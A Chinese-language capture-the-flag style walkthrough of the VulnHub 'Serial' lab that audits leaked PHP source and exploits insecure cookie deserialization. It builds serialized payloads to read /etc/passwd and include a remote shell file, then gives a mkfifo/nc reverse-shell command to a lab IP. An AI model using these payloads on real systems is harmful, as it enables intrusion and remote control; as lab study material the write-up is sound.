这次我们来做这个靶场
项目地址https://download.vulnhub.com/serial/serial.zip
使用vm新建虚拟机
以下为注意事项
第一步,收集资产
扫描靶场ip
netdiscover -i eth0 -r 192.168.177.0/24
抓个包
扫描目录
看到了cookie中有一个user
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086NzoiV2VsY29tZSI6MDp7fX0%3D
去问问ai这是像是编码
O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}
看不懂,算了,爆破目录吧
dirsearch一下
下载他的备份,发现三个文件,看一看
这是每个php文件,并使用ai加了注释
index.php
<?php
// 引入用户类文件 user.class.php
include("user.class.php");
// 如果 $_COOKIE['user'] 未设置
if(!isset($_COOKIE['user'])) {
// 设置 cookie,使用 base64 编码和序列化后的用户对象
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
// 如果 $_COOKIE['user'] 已设置,则尝试反序列化并解码
unserialize(base64_decode($_COOKIE['user']));
}
// 输出一条消息,说明这是一个新 cookie 处理器的测试版
echo "This is a beta test for new cookie handler\n";
?>
log.class.php
<?php
class Log {
private $type_log; // 私有属性,用于存储日志类型的文件路径或句柄
function __costruct($hnd) { // 构造函数,接受一个参数用于设置日志类型
$this->$type_log = $hnd; // 将传入的日志类型参数赋值给类的属性 $type_log
}
public function handler($val) { // 公共方法,用于处理日志
include($this->type_log); // 动态包含类属性 $type_log 指定的文件
echo "LOG: " . $val; // 输出日志信息,格式为 "LOG: " 后跟 $val 的值
}
}
?>
user.class.php
<?php
include("log.class.php"); // 引入日志类文件 log.class.php
class Welcome {
public function handler($val) {
echo "Hello " . $val; // 输出欢迎信息,格式为 "Hello " 后跟参数 $val 的值
}
}
class User {
private $name; // 私有属性,用于存储用户名
private $wel; // 私有属性,用于存储 Welcome 类的实例对象
function __construct($name) { // 构造函数,接受一个参数 $name 用于设置用户名
$this->name = $name; // 将传入的 $name 参数赋值给类的属性 $name
$this->wel = new Welcome(); // 创建 Welcome 类的实例对象,并赋值给属性 $wel
}
function __destruct() { // 析构函数,在对象销毁时自动调用
//echo "bye\n"; // 注释掉的代码,本意是在对象销毁时输出 "bye"
$this->wel->handler($this->name); // 调用 Welcome 类的 handler 方法,向其传递当前对象的用户名参数 $this->name
}
}
?>
审计完成代码,我们对抓包内容进行更改
O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}
加码
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==
构造语句
O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:25:"http://192.168.3.237/shell.txt";}}
/?cmd=rm+tmp/f%3bmkfifo+/tmp/f%3bcat+/tmpf|/bin/sh+-i+2>%261|nc+192.168.177.142+4444+>/tmp/f
网上找的攻击语句